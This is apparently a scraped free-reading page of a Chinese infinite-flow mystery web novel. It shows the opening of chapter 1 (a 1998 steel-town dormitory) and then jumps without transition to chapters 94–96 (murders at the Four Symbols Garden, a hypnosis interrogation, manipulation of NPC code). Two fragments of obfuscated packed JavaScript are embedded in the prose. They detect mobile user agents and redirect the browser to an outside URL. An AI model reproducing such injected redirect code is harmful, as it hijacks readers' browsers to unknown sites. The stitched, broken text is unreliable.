《穿进现场我靠玄学缉凶[无限流]》 1. 死者出现 《穿进现场我靠玄学缉凶[无限流]》全本免费阅读 阴晦的天空压得极低,密集的乌云正在酝酿一场大雨。 在这种湿度下,墙根的煤灰会在一路晕开,留下斑驳发霉的痕迹,就像顽劣的小孩在墙上撒下的一泼阴干了的尿。 人们的脚步也因为潮湿的天气而放缓,无精打采地在这座废弃的荒钢小镇内钻营。 荒钢小镇位于城郊相交的地段。第二钢铁厂高耸入天的烟囱残喘着黑气,烟囱阴影下的职工宿舍更显老态龙钟。 宿舍门口值班的廖老头麻木地盯着面前的小收音机,沙沙沙背景音中主持人呆板地准点报时——“现在是北京时间,1998年5月4号下午4点整。” 九八年,他沉重的肩膀往下一垮,已经快到千禧年了,时代的脚步在飞奔,钢铁小镇却像一个蹒跚学步的孩子,根本追不上国家发展的步伐。他听说第二钢铁厂今天会裁第三波工人,又有许多人要下岗。 也对,看管的这栋老家伙骨子比他还要脆,是住不了人了。楼啊,和人一样,老了就该退场,不能占着国家资源不用,给人民增加负担。 从去年起,除了下岗离开的工人,有一部分工人还搬去了城里的新房,如今职工宿舍楼里只剩十来户人家。 自己也要下岗了。他第无数次产生这个悲观的念头,扭头瞥向树下支摊子卖豆花的女人,或许退休后他也要出去赚辛苦钱呐。 他长吁短叹,抬头望向七层高的灰墙,顺眼瞧见五条身影在走廊处若隐若现,忽然他露出一口黄牙,意味不明地笑起来。 焦棠背着米色的书包,松松垮垮搭在柔弱的肩膀上,她人不高,书包占据整个后背,将她压得更低,白色裙裾在墙角的煤球上擦拭,留下灰黑色扭曲的线条。 紧跟其后的男人好心地伸手过去,想接过她的包,焦棠敏锐地闪开,带点婴儿肥的脸蛋露出明显的不悦与疏离。 男人被那双之前无辜,此时狠厉的大眼睛吓到,讪讪收回手,低头继续走。旁边的高挑女人不经意低声嗤笑,走在最前头的年轻男性则置若罔闻,自顾自无语绕上楼梯。另一个走在最后的男性玩家由于蹲下绑鞋带,耽搁了一下,这会儿正拼命往前大步追。 肮脏狭小的过道中堆满废弃的家具、炭炉、土砖和生活垃圾,两米不到的天花板下挂着湿凉的衣物,由于几日不见阳光,弥散开一股咸臭的酸味。 五个人不约而同地停下脚步,前面一户人家咿呀拉开木门,矮小肥胖的女人从屋里溜出来,重重放下一个塑胶小桶,从桶边缘日日覆盖凝固的黄绿颗粒残渣来看,里面应该是积了两三天的泔水。 她准备溜回屋里时,瞥见几人,肥腻的脸颊抖了抖,最终忍下一堆废话,重重阖上门。 焦棠步过房门时,隐约感觉到肥胖的身躯挤在门板后,听外面的动静,那两只老鼠一样的小眼睛肯定正好奇地左右转动。 五个人熟悉地形后,终于爬上宿舍七楼。焦棠掏出钥匙,打开第一个门,接着其他几个人也依次进入后面几间宿舍。这一次的玩家个性都比较独立,没有一个人提出要同住的想法。这让焦棠松口气,五个人中只有两个女的,如果另一位提出一起住,她大概会因拒绝而犯众怒。 进门之前,住在最后一间、从进到这个现场开始便一直失神的年轻男人,突然撇过头,深邃五官舒展开,像刚睡醒的人,带点懒散鼻音,开口问其他人:“是不是要开个会?” 住他旁边的粗犷男人瞥他一眼,进了房。刚才打算帮助焦棠的中年大叔露出笑容,这抹笑立马让氛围缓和许多,他忙答应:“我收拾一下,在我这里开吧。” 高挑女人甩着名牌包包哐当摔上门,她并不是对谁不满,她只是对周围格格不入的肮脏环境不满。 房间不大,一个小卧室,一个客厅,一个洗手间,没有厨房也没有阳台。焦棠里里外外走了两遍,晦气地盯着卧室,上一个房客走得很匆忙,破旧的床板上还遗留了乱糟糟的蚊帐和破棉被。她嫌弃地将垃圾扫做一堆,堆在客厅角落,用破棉被盖住,眼不见心不烦。 然后她从米色大包中抽出一个红色信封,从中抽出四张黄符,东南西北墙上各贴一张。这时,一直紧绷的嘴角才僵硬地扯了两下,随后她坐到床头处,摸出一支香烟,点上。 檀香让她潜藏的紧张感消失,到这个时候,她才能放松地捋一捋这段奇葩的穿越经历。 穿越前,她收到了原本应该寄给父亲的游戏机,秉着中元节怀念故人的想法,她插上了游戏卡带,戴上了游戏耳机。没有任何预兆,她的脑中激过一阵强烈的电流,然后她便失去了意识。 意识飘远前,她还闻到了强烈的炭火烧焦味,以及老旧门锁传来咔哒微小又清脆的响动,她的房间进人了,但她已无法爬起来“迎客”。 她清醒过来后,接入了一个系统,系统声称她已经穿越进游戏里面。由于进入游戏前,隔壁该死的情侣用炭炉吃火锅把窗帘给烧了,祸害了整层公寓无辜的租客,包括她。所以她的意识被寄存在游戏世界里,假如有一天她的意识强大到能攻破游戏系统的限制,那现实中的她就会苏醒。 听到这个消息,焦棠恨不得跑去地府劫狱,把两个该死的傻叉串成串串,放火里烤、扔红油里涮,淋上盐巴做成傻叉干。 系统夸她,这里的生存环境不比地府劫狱难度小,它已经很久没有遇到这么自信的年轻人了,非常看好她在这里成为一名优秀玩家。 焦棠几乎狂热地扯开难看的笑容,咬牙切齿道“真是谢谢你的期待了”,她才刚刚从母亲铸造的、名字叫“为你好”的牢笼里逃出来,转眼又掉进了另外一个更残酷的深坑。 她的适应性强,像一株蘑菇,什么环境都能活,但用这种强制性的手段就极其让她反感。系统以及系统背后的设计者让她莫名想到了自己的母亲。 母亲因为父亲当街被刺死一事,心理落下一道大铁锁,不仅锁住自己,还将她的女儿也牢牢锁住。物理层面的锁住!焦棠高三那年,有一天突然被母亲叫回家,之后长达两年内都被关在家中,活动范围不超过卧室外五米。 偷走身份证,从家中逃跑那刻,她就下定决心,没有人能用任何理由去困住她。如今也是一样。 焦棠问系统怎样才能晋升为优秀玩家。而系统只告诉她,主线任务是到每个死亡现场,找出真凶。至于其他信息,她慢慢会在任务中习得。 这是她参与的第一个死亡现场,案件将发生在风雨交加的世纪末。 从路上遇见其他几名玩家交谈中,她知道,每一个现场都对应现实中的诡秘案件,不同在于,除了狡猾的真凶蛰伏在暗处随时准备继续犯案,还有死去的冤魂会无差别地回来索命。 而且游戏中玩家身亡或者意识消失,都将对应到现实中大脑组织受到刺激,从而伴随不可逆的损伤。至于是谁设计出这样的系统,为何在现实中没被取缔,仍是一个巨大的谜团。 即便幸运与实力值拉满,不死在人与鬼手下,若在规定时间内无法缉拿真凶,给出正确答案,也将被系统拉入黑名单,抹除意识存在。 听起来系统设计者更像是维持厮杀规则的旁观者。好在,人性化的一点是,它给予玩家一定的技能强化,比如焦棠,她生前捣鼓的道术,在这个世界还真有点作用,依照分类规则,她的技能被概括进“唯心能力”系。 她的初始能力是“符箓”,这便是她在房内贴上黄符的原因。不知道其他人是什么技能? 掐灭烟火,她看看手表,下午4点17分,十分钟到了,她起身出门。 中年大叔房中,五个人围坐在崴脚的小餐桌旁,甚至因为椅子不够,临时主人中年大叔还是蹲着的。 中年大叔率先开口:“自我介绍一下,我叫刘远志,46岁,生前是公务员。这是我第二个现场。” 看得出来刘远志的性格很温厚,只是不知道这份温厚是真的,还是装出来的。焦棠虽然第一次参加任务,但防范心很重。 第二个开口的是刘远志旁边的女人,其实她不自我介绍,在场的人也都认识她。 “戚安,第二次。”简短的介绍表明她确实是那位大明星戚安,不过两个月前因为私生饭追车,出车祸进医院了。 轮到焦棠,她很少在人前说话,所以声音显得冰冷不自然,此刻她短促地说道:“焦棠,第二场。” 说完她看见其他人闪烁的眼神,便有点懊恼,撒谎说“第二场”时候,语调应该再放慢一点。 刘远志打趣:“你看着像十五六岁。” 焦棠纠正道:“二十岁。” 刘远志感慨:“你的营养要跟上,在这里说不定还有长高空间。” “谢谢提醒。”焦棠侧目看他,心道刘志远不是心思太浅,就是心思太深。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909282|134707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法坛和几把讲经的高椅,那里就是律真说法的地方。后来,四象园经过龙虎山大师改造,按照金木水火四象来重新规划,我们也可以推理出,在改造前园内地理一定是按照一定规则来布局的。而与金木水火这四象比较接近的概念,就是古印度的‘四大’,即地水火风四大元素。” 说到此,焦棠顿了顿,说了个题外话。 “我想,谢安墨的墨,谢安法的法,谢安煜的煜,是依据土、水、火元素来起名的,不是金木水火。现在我们再看无目神像的布置,就对这四个区域有了新的认知。” 焦棠:“昧火楼的神像代表火,木心湖的神像代表水,汀水榭的神像代表风,金石阁如果有神像,就代表土。那些神像披着道的皮衣,本质却是释家的,所以它们没有眼睛。” 途灵:“没有眼睛意味着什么?” 焦棠:“因为雕刻神像的人处于混沌的状态,也就是处于无明的状态。而无明体现在神像上就是无目。” 大家这才明白,原来神像无目的背后是因为有一个神志混乱、迷茫的人。 “我记得,肖长渊说过,人之混沌来源于环境中能量的混乱。幻境里释子也说,混沌生妄想。我推测,混沌的四象园会作用在混沌的人身上,然后产生“妄想”,最后幻化成“妄相”这种实体的怪物。” 焦棠指的“妄相”既是那个到处溜达,一会儿像小孩,一会儿像猫,一会儿像猴的生物。也是钻在神像里扬言要取她性命,在幻境中屡次攻击她的虫子。这些都是环境与人意识共同作用的结果。 “所以,本质上‘妄相’是一种能量和意识扭曲的产物,天然会吞噬有一定意识和能量的鬼魂。而且,道术跨行去对付烦恼而生的产物,收效都会很低,反而是物理空间的攻击有用得多。” 其余玩家一听,赶紧反省自己的能力,吴见故是纯纯唯心能力者,这会儿如坐针毡,齐铎和周寻音脸色也不好,因为唯一一个能打的,现在躺在床上,改投了敌方阵营。 面对这种困境,焦棠心中有个大胆的想法,可她巡视一圈人,暂且就不大胆地说出来了。经历多了,她学会了等待与观察。 焦棠对途灵露出笑,看得途灵油然挺直了后背。 “途灵,我不能改变这里的风水,也不能轻易招魂,因为这里不是术士的主场。在人家地盘乱来不知道会招致什么无法应付的祸害。这就是我们无法打配合战的原因。” 途灵露出一丝腼腆的笑:“是我之前误解你了。” 焦棠:“至于林妙瑢如何进入戏台一事也与地形相关。在四大里,昧火楼处于风和火之间,容易发生火灾意外,这片区域肯定修有许多水井,现在夹城被封了,水井也枯了,所以她可以通过枯井在两地穿梭。” “原来是这样。”途灵将背挺得更直,以此来表示自己完全信服焦棠的解释。 周寻音露出遗憾之色,对于林妙瑢的暴毙,她有种“虽不杀伯仁,伯仁却因她而死”的追恨。 “林妙瑢也是被所谓妄相杀死的吧。” 周寻音揉搓僵硬的肩膀,气愤又疲惫地说:“如果早点认清楚这点,我就不对林妙瑢发动能力了。” “‘妄相’诞生之后,它就能穿梭在现实和意识之间,只要驱策它的主人希望林妙瑢死,即使不在意识层面扼杀她,也会在现实中杀死她。” 焦棠本意是实话实说,但周寻音的思想包袱一下子轻了很多,摸了摸焦棠的手背,夸道:“没想到你这孩子高冷下还有一颗热心肠啊。” 焦棠眨了眨眼,她高冷吗?她热心肠吗? 周寻音还拉着她的手,问:“现在杀人的答案就藏在四象园这混乱的前世今生里,你下一步打算怎么办?” “下一步我会去找肖长渊提到的资料室。”焦棠抽出手,先给自己分配了任务。 齐铎:“我陪你去。” 周寻音勾住吴见故肩膀:“那我和小吴去找林管家和谢安墨,一定要问出林意茕自杀的真相。” 途灵:“那我就去找谢安煜。不过,在此之前我们得解决掉一些老问题。” 她突然举起电脑,示意搜索工作一直在进行。 焦棠也正要请她帮忙:“没错,有一个时间值得查一查,就是……” 她与途灵同时开口,但说的是两个时间点。 焦棠:“81年5月5日。” 途灵:“83年5月5日。” 95. 自杀真相 81年4月20日,林意茕自杀。 81年5月5日,肖长渊声称自己在四象园提出了报复计划。 82年3月3日,丹焰楼重建。 83年5月5日,疑似谢安煜在昧火楼接待省商会的同行,在撕碎烟盒上写下“放过”二字。 83年5月不详,谢安法留下肖像画。 以上是玩家得到的粗糙时间线。其中途灵需要找出报复计划最初提出的资料,以及撕碎烟盒遗留的信息。 途灵睁大半边眼睛,迷茫看着焦棠。 焦棠当机立断:“先查完烟盒的线索。” 途灵俯下身去操作程序:“需要点时间。” 几人围着她来回踱步,眼看园内又张灯又喊开饭,不免焦急,吴见故摸摸扁平的肚子,说:“我去弄点吃的过来。” 十五分钟后,吴见故神情恍惚地进来,将几屉灌汤包推到大家面前,焦棠夹了两个入肚,鲜香软糯,瞬间抚慰了腰椎盘的疼痛。 齐铎见吴见故不安地扭来扭去,问他怎么回事? 吴见故抱着他的胳膊,说:“齐哥……额,你比我小,齐小弟,我刚看到太极台升坛做法,请了高人来超度亡魂。那个高人也去昧火楼用斋,可是他的样子很奇怪,没有……没有五官。他自称芸芸。” “芸芸众生的芸芸?” 吴见故点头,更加不安地皱眉:“我的借阳术感应到,它的体内有很多个人。” 焦棠转头好奇:“什么叫很多个人?” 吴见故:“就是一个身体连着许多条生命。算了……或许也不是什么大事……” 几人饱腹后,开始琢磨突然出现的这个NPC的身份。 这时途灵啪地摁下回车键,叫道:“出现了。” 几人围过去。 电脑上截取了一段二维画面,昧火楼只有一个平面,两个活跃的点代表窗前两个人,头上各顶一长串编码,途灵指着编码。 “这是NPC的系统ID,系统只给他们编写了类似行为树的代码,我做了转化。左边这个点是谢安煜,右边那个是关东泽。” 途灵又一顿操作:“关东泽,省商会副会长,省商会只是一个企业家等人组建的机构,本身没有实际权力,靠人脉维系,但是由于参与的人都有头有脸,所以能办成很多手续复杂的申报项目。这个关东泽就是负责给四象园申报5A景点,很有话语权。” 焦棠:“烟盒的线索呢?” “这呢。”途灵将镜头调到一个新的参数,关东泽点上弹出一个弹窗,弹窗上用像素点描绘出一个烟盒的形状,中间浮现一行字。 途灵念道:“烟盒上完整的信息原本是,人已经死了,恳请你们放过她吧。” “谢安煜要关东泽放过谁?这个她是谢安墨还是林妙瑢?”焦棠琢磨这串“卑微的原话”。 齐铎补充:“已经死了的这个人指的应该是林意茕。林意茕的自杀和关东泽有关?” 焦棠:“从时间轴来看,整个事件的起点就是81年4月林意茕的自杀。找出林意茕自杀背后的原因,就能理解凶手杀人的动机。” 齐铎:“一步步来吧。下一个时间点,81年5月5日,肖长渊留下的一段话。” 途灵行动力十足,十指如飞,继续攻破系统坚守的壁垒。 十分钟后,途灵指尖蜷起,厚重刘海下沁出细密汗珠,看样子她遇上难题了。 途灵:“这个信息对案件很关键,所以系统戒备很高,我只搜到外围的一点信息。你们姑且听听。” 她摁下回车键,电脑模拟出一段音频—— “你是最懂四象园的人,如果你要动手脚,我有好办法。只要善于利用四象园的结构,就能制造完美的犯罪。你好好考虑,几日后还想手刃禽兽就来找我。” 虽然音频是机器男声,但是在场者都清楚这话是肖长渊说的,他谈话的对象是凶手吗? 焦棠想起肖长渊说过凶杀案与四象园历史相关,这里又提及四象园结构,再结合林妙瑢提供的丹焰楼修补线索,三者汇合使她突然抓住了一个灵感。 “我想我明白丹焰楼为什么会起火了。” 她突然开口,在几道惊讶的视线中,缓缓道:“凶手让郭昊住到不朽堂,让顾景方住到汀水榭。是因为只有在这两个地方,建筑的构造才能使凶手实施密室谋杀。” 齐铎追问:“不朽堂与汀水榭有什么特殊之处?” 焦棠踌躇:“我不是建筑学方面专家,看不出来有什么特殊之处。但四象园的相关记录说不定存在资料馆。当务之急还是找到资料馆。” 周寻音:“既然如此,我们分开行动吧。动作快点,外边月亮大得好吓死人。” 经她提醒,几人视线探向窗外,月亮悬在太极台上方,仿若一只巨大的天空之眼。这轮月眼与焦棠幻境中所见一模一样。两重世界的融合又加快了。 分开前,焦棠向途灵讨教,地图里有无标记资料馆、档案室之类的地址。途灵翻了几下,耸耸肩表示爱莫能助。 焦棠站在两仪楼最高点,俯瞰整座园林,苦恼去哪里找一间藏满档案的屋子呢? 齐铎从别处赶过来,他刚去找肖长渊梦境中见到的那间木屋,可是四处遍寻,都没有符合条件的屋子。 他们只能接受,木屋作为资料馆旧址已经因为某些原因被销毁,正如被封起来的夹城与戏台,新的资料馆也一定被藏在鲜为人知的地方。 借着皎白的月光,焦棠忽然问:“谢安墨住在哪里?” 齐铎银枪一挥,落点是木心湖与桂花林中间那栋金色楼宇。 焦棠俯视片刻,手指在谢姐三姐弟住所处比划,画出一个三角形,中心点也是太极台。 “谢家三人住处到太极台都有一条大路。太极台这个地方太重要了。” 齐铎扬眉:“我也这么认为。这个地方重要到让我怀疑资料馆会建在那里。” 焦棠点了点头,越看越觉得月下那株菩提如梦似幻。几乎世人看到菩提便会联想到的诗——菩提本无树,明镜亦非台,本来无一物,何处惹尘埃? 她问:“齐铎,那里真的有双色菩提树吗?” 齐铎凝视了很久,肯定道:“至少我看到的是如此。” 焦棠:“周寻音对质时,见到一只红脸白喙的虫子,会不会其实是红白的花朵,白色的枝干呢?” 齐铎率先跃下楼:“近前去瞧瞧不就知道。” 焦棠立即滑下屋脊,两人一口气跑到太极台上。 焦棠伸手摸树干,触感很黏腻,她搓了搓又凑近闻,发现是泥土的味道。 听说过泥塑的神像,没见过泥塑的神树,而且泥树还开花了。 齐铎跳起来摘了几片花瓣,摸了摸,闻了闻,惊奇道:“是真花。” “两位贵客,停下手。” 一道苍老的声音至月下踱来。 焦齐两人望过去,一个没有五官的修行者,斜披藏青长袍,腰束藤带,落拓又神秘,手持一杆红白花,如神又似鬼地降临在太极台上。 齐铎肃然问他:“是人是鬼?” 修行者气定神闲,捡起被风扫落的花瓣,用袍袖小心装着,看似在回答齐铎,又似在自言自语:“非人非鬼,非我非他,看到的是什么便是什么。” 听此,焦棠眨了眨眼,背上渐凉,她看到的是谢安法的脸,而他手上捧着的是红脸白牙的血头颅。 焦棠急点自己合谷穴和风池穴,从腹部逼出一大口浊气,又见那个修行者变换出许多张面孔,从它腹腔发出一道稚嫩的童音,不断念:“此间乃净土,万物无定相,此间乃净土,万物无定相……” 随之一声声唱念,地面渐渐往下坍塌成泥沼,焦棠将齐铎拉到身边,在完全站不住脚钱,拉着他跳上菩提树干,跳进去才发现红白花朵硕大无比,迅速将二人吞进树里。 焦棠和齐铎堕入一段特别长的暗道,最后摔在一个巨大的冰窖里。 冰窖深有五米,由于原本充当顶部的砖石被改成太极台,所以在西南一角新建了一条斜道,安装着轨道与推车,方便冬藏夏取。不过自从冰箱进入市场后,这种古老的冰窖就荒废了。 此刻的冰窖就是一处阔大的资料馆,里边矗立着几个大玻璃柜,玻璃柜中陈列古旧书籍。 冰窖内没有光源,靠齐铎扭亮的手电筒照明。 越过两排玻璃柜后,两人敏锐地察觉到柜子后躲着一双眼睛。 焦棠悄悄挪步,紧接着迅疾和齐铎左右包抄,抄到柜子背后。 手电筒照射下,一张阴森森的脸被挤进玻璃柜里,那双瞪大的眼睛已经失去了所有的生命力,像流星坠落后变回一块又丑又大的陨石。 这颗头颅属于谢安法。 那么死在汀水榭的人是谢安法? 但是顾景方呢? 焦棠与齐铎四下找了一通,没见到人。顾景方该不会也被杀了吧?如果是那样,谢安法的这颗头颅对应的是不是汀水榭的那具尸体,还不好定论。 焦棠边思考,视线边在玻璃柜中流连。 《古代园林通览》就夹在书柜的最高一层,一堆陈年的旧报纸中间,焦棠跳起来,将之抽出来,抖动书籍,果然从中抖出一封信。 焦棠捡起来,先看信封,上面署名是“顾为之”,后面跟着81年5月6日。 “顾为之就是顾景方吧。”齐铎盯着封面,文人骚客多有几个名与字。 焦棠打开信,两人凑首阅读。 信中写的文绉绉的。开头先是一段常见的文人问候词——睽异之处,幸在知己,尚希见宽降恕。 正文才将林意茕自杀的事讲述了一遍—— 自从四象园被拟为文旅重点发展项目后,你就终日惶惶悴悴。 果然,上个月省商会派人过来洽谈,墨姐的贴身仆人林意茕,我平日也亲切称呼她一声“茕姨”,在申报文件上出了重大纰漏,这直接导致四象园市场化的道路变得更加举步维艰。 这对你来说本是好事,可茕姨却接受不了后果,竟然在房里上吊自杀了。 这件事只是导火索,之后园里一切都乱了,你的心也乱了。你私下和我说要报复,那些人确实也该死。 你若将我当作挚友,又真的放不下杀念,一定要来找我商量,我有办法,万莫独行。 另嘱咐一声,此本《古代园林通览》内附有密室的巧思,对你或许有用。 致友谢净念。 两人读完信,心中已有几种猜测。 第一,肖长渊就是顾景方,所以同一个空间有两个相同的人。 第二,这封信是顾景方/肖长渊写给谢净念,也就是谢安法的。 第三,密室杀人的线索就藏在书里。 第四,林意茕因为公事出错才自杀。 第五,谢安法想杀人,但现在他自己却死了。 第六,顾景方/肖长渊是目前知晓内情最多人,也是最大嫌疑人,作为玩家他在幻境里,作为NPC现在下落不明。 齐铎将《古代园林通览》收进空间,周围漆黑,又有个死人头盯着,实在不适合研究机要资料。 “走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924118|134707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦棠凝视谢安法“怒目金刚”的面相,不知是悲是叹,好端端的一个江南园林,好端端一个簪缨世家,好端端一个有为青年,就这样死了。 她边爬上陡坡,边说:“一个游戏的NPC只能对应一个ID,如果出现了重复的ID,系统要么报错,要么只能读取其中一个ID。所以肖长渊吸收记忆成为顾景方后,原本的顾景方或许已经被系统屏蔽掉了。” 齐铎:“有这个可能性。但现在我们也没办法去问肖长渊他记不记得自己杀没杀过人。” 焦棠想到崩塌的幻境,心中举棋不定。 齐铎一句话打消她冒险的想法:“即使你问了他,他说杀了,我们敢轻易相信他的话吗?缺乏有力证据和推理支撑,我们照样是瞎子过河,摸不着边。” 焦棠沉思点头:“你说得有道理。眼下最重要的还是找出两起命案的答案。” 两人着急回到地面,出口离太极台有十几米远,焦棠望向台上,早就没有什么无脸修行者,冷月下双色菩提树的花格外绚烂。 齐铎想回金石阁研究书籍,袖子被焦棠一扯,只好无声跟着她,朝着反方向前行。 直到抵达汀水榭,齐铎才抽回袖子,问她:“你要来确认尸体?” 焦棠沉着应是,既然找到了谢安法的头颅,她就想亲自确认浴缸里的尸体是不是他? 她径自走上二楼的浴室,经过一天一夜浸泡,浴缸中的尸体已经肿胀腐烂,饶是见多识广的齐铎也嫌恶地捂住鼻子,抢在焦棠进去之前挤进。 “你就在外面,我来检查。” 焦棠应好,指着尸首的手臂:“针孔还看得到吗?” 齐铎轻手轻脚检查,片刻后摇头:“已经看不清楚了。不过手背上肿得不厉害,还能看到一点。” 焦棠:“手上的茧呢?” 齐铎翻开死者手掌,艰难辨认:“能看到剩下一点脱落的硬皮,在食指和中指上面。” “就是那里。”焦棠对齐铎招手:“你出来。” 齐铎好奇:“看出来了?” 焦棠:“手背针孔说明死者身体不好,常年打针,食指和中指的茧不是握笔形成的,应该是经常拨弄念珠留下的。尸体特征符合谢安法的基本情况。” 两人初步确认完死者身份后,这才赶回金石阁。 四象园的另一个角落,周寻音和吴见故正在林管家房内,向他套话。 原本周寻音打算用怀柔手段来感化林秋生,可惜这位古板的老管家态度十分强硬,拒不透露主人半分消息。 周寻音把心一横,只好将林妙瑢死亡的消息告诉他,一瞬间这个严词厉色的老人身子晃了几晃,竟然晕过去了。 周寻音暗搓搓将人扶坐好,命令吴见故搭把手,开始对他实施催眠。 林秋生的眼睛空洞,花白的寸头上面顶着一盏黄灯泡。 灯泡的电线被吴见故抓在手里,周寻音吩咐他千万别让光离开林管家的脸。 周寻音的催眠媒介是光,光的波长不同,催眠程度也不同。 周寻音循循引导:“你的妻子林意茕为什么自杀?” 林秋生的眼皮跳了跳,平平答道:“两年前,省商会将几处重要文物景点列入市场改造扶持的名单,本来四象园也在名单之中,但是商会派人过来视察时,发现提交的资料里面有一份匿名举报材料。” 周寻音皱眉:“匿名举报材料是什么内容?” 林管家呆滞回答:“材料里写了四象园不仅在文化归属上不清晰,产权归属上不清晰,市场定位上也不清晰。四象园是姓谢还是姓“律真”,是纯古代建筑还是地域文化结合的新产物,这些问题在解决之前,四象园都不能作为古文化的试点景区。” 周寻音:“这和林意茕自杀有什么关系?” 明明没有表情,林管家两道下拉的眉毛还是透露出一股哀恸之色。 “意茕负责审核资料,她怪自己没审出那份匿名材料,以致于大小姐被一些有心之人糟蹋,四象园和谢家都处于进退两难的困境。所以她一时想不开,就……自杀了。” 周寻音与吴见故对视,听了这话才明白,林意茕自杀的动机。 但周寻音立刻联想到其他,问:“林意茕自杀和颜芙、顾景方失踪或者死亡有什么关系?” 这个问题俨然超纲了,林管家失焦地瞪向门口,半天没有反应。 周寻音又换了一个问题:“林妙瑢有没有谋杀颜芙?” 听到这个问题,林管家哐当一下站起来,吴见故措手不及,灯便被打偏了,此刻林管家的脸陷在昏暗里,狰狞又凶恶。 “妙儿是为了她母亲!妙儿是为了她母亲!妙儿……” 眼见林管家越来越失控,吴见故抡起桌上茶壶,哐当一下把他放倒。 吴见故长吁一口气:“我帮你把人敲晕了,催眠不行,换对质吧?” 周寻音面色难看:“工具没带。” 吴见故:“那……回去拿?” 地上的人动了动肩膀,像一条即将诈尸的恶鬼。周寻音想了想,还是叫上吴见故先撤了。 路上,吴见故向周寻音保证:“姐,既然谢安墨在两年前受了委屈,会不会就是她下手杀的人?等会你尽管施展能力,我保证灯光全程跟踪,绝对不会再出意外。” 周寻音也赞同走捷径,正带着吴见故去找谢安墨对质。 月已偏斜到西边,恰好落在金色楼宇上方。 周寻音与吴见故踏着夜色而来,怎样也没料到这栋房内将发生的事是那样诡异与险象环生。 96. 密室关键 两仪楼上。 途灵蹲在屋脊吞兽旁操纵电脑。 她先调取烟盒事件人之一——关东泽的ID,然后将ID调整到系统驱动的场景中,置顶读取该ID的顺序,于是,本不该出现在此处的关东泽意外站在了两仪楼的门前。 由于他的代码是空白的,于是途灵又给他加了一段非常隐蔽又简短的行为程序。 傀儡关东泽攒紧烟盒碎片,上了楼,推开一扇门。然后房内响起了人声。 谢安煜看着眼前的不速之客,茫然问:“怎么没人通知你来了?你怎么来了?” 关东泽坐到桌边,将烟盒卡片放到台面上,无神地盯着谢安煜。 “四象园里发生了两起命案,这件事还不足以引起省商会的注意吗?” 谢安煜登时紧张,坐下给关东泽倒水。 “就算如此,那也是办案人的事,实不该劳烦你跑一趟。” 显然作为系统设定的NPC,谢安煜有些反应不过来如何处理这出意外。 楼上,途灵的额头冒出汗水,当谢安煜越反常,系统就越早发现端倪,留给她的时间窗口十分小,必须加快节奏。 楼内,关东泽指着烟盒卡片:“我是自己来的。我就想问问你,你写的这个是什么意思?和凶杀案有关吗?” 谢安煜拧眉,他本就不是好脾气的设定,何况对眼前之人早有怨恨,情绪顿时上来:“既然你是以私人身份来的。我们不妨敞开天窗说亮话。” 楼上,途灵半边眼睛闪闪发亮,图的就是他这句话。 只听房间里突然响起好大一片脆响。 谢安煜砸烂了一个大花瓶,指着关东泽鼻子叫道:“反正我们三姐弟已经被你们逼得无路可走,我也不怕破罐子破摔了。两年前你以匿名举报材料为理由,将我姐姐带到那种场合,让在场那些老男人侮辱她,她已经替四象园和谢家承受了所有她能承受的了。可是你们还不肯放过她!你问我今天这两宗杀人案和那件事有没有关系,我告诉你,这个园里发生的任何悲剧都和你们这帮恶魔脱不了关系!” 这个消息已经超出途灵的认知,她手指顿住,一时不知道该怎么接话。房内的关东泽就那样呆傻在原地。 谢安煜吼完,瞪向对面的男人,他揉了揉胸口,冲动下抛掉的理智又回来了。毕竟谢家还没垮,得罪商会的人以后路就更不好走了。 他想要补救几句,突然发现关东泽一口白牙咧着,样子傻傻愣愣,顿时警醒喝道:“你真是关会长?” 说着就上手抓住关东泽的肩膀,途灵的电脑紧急报错,她赶紧操作傀儡。 傀儡关东泽从椅子上蹦起来,谢安煜叫道:“你是谁?” 关东泽从他手里挣脱出来,两条香肠软腿啪嗒啪嗒往前拱,拱到窗前,噗通翻过窗户滚下楼去。 谢安煜冲到窗户边,往下看,楼下草坪平整,完全没有人砸落的迹象。他的脸阴得能滴出水来。 途灵抱着电脑溜下两仪楼,走出一段路,发现谢安煜没有追出来,她才有心思理清楚刚刚谢安煜话里的意思。 总结下来就是,谢安墨几年前因为一封微不足道的举报信,被关东泽当作把柄,胁迫她干了一些不干不净的事。那谢安墨会不会因为这段不堪的经历产生杀人的动机的呢? 途灵将怀疑的箭头指向有巨大隐情的谢安墨,所以也着急跑向谢安墨的住所。 金石阁内。 焦棠与齐铎快速翻阅《古代园林通览》。 这本书前部分图文并茂,详细讲解了古代建筑的结构,如梁枋椽柱榫卯等。 后部分介绍三十几处古代遗留的园林建筑,四象园就在其中。 不过关于四象园的描述仅有短短一页。焦棠提炼重点,与齐铎交流。 她手指点一段文字:“这句评论挺有意思的。作者说四象园在古建领域里一直存在争议,它的历史定位是律真归国后的传经场所,但律真和尚具有双重身份,既是当时朝代的高僧,也是异国法宗的初祖。因此,四象园的起源就带有两种文化的气质。其次,四象园也融合了两个区域建筑的特色,外观上具有统一性,但内部结构大相径庭。有些结构偏本国古建,有些结构偏异国古建。正因此,许多专家并不赞同将它划入纯粹的我国古代建筑行列。” 焦棠做出结论:“我认为如果丹焰楼和不朽堂有什么区别的话,一定就在这个‘结构大相径庭’上。” 齐铎将书接过去,又翻了前面专业部分,提议:“实践是理论的基础,既然有了猜想,不如去实地考察?” 两人一拍即合,立刻跑出金石阁。 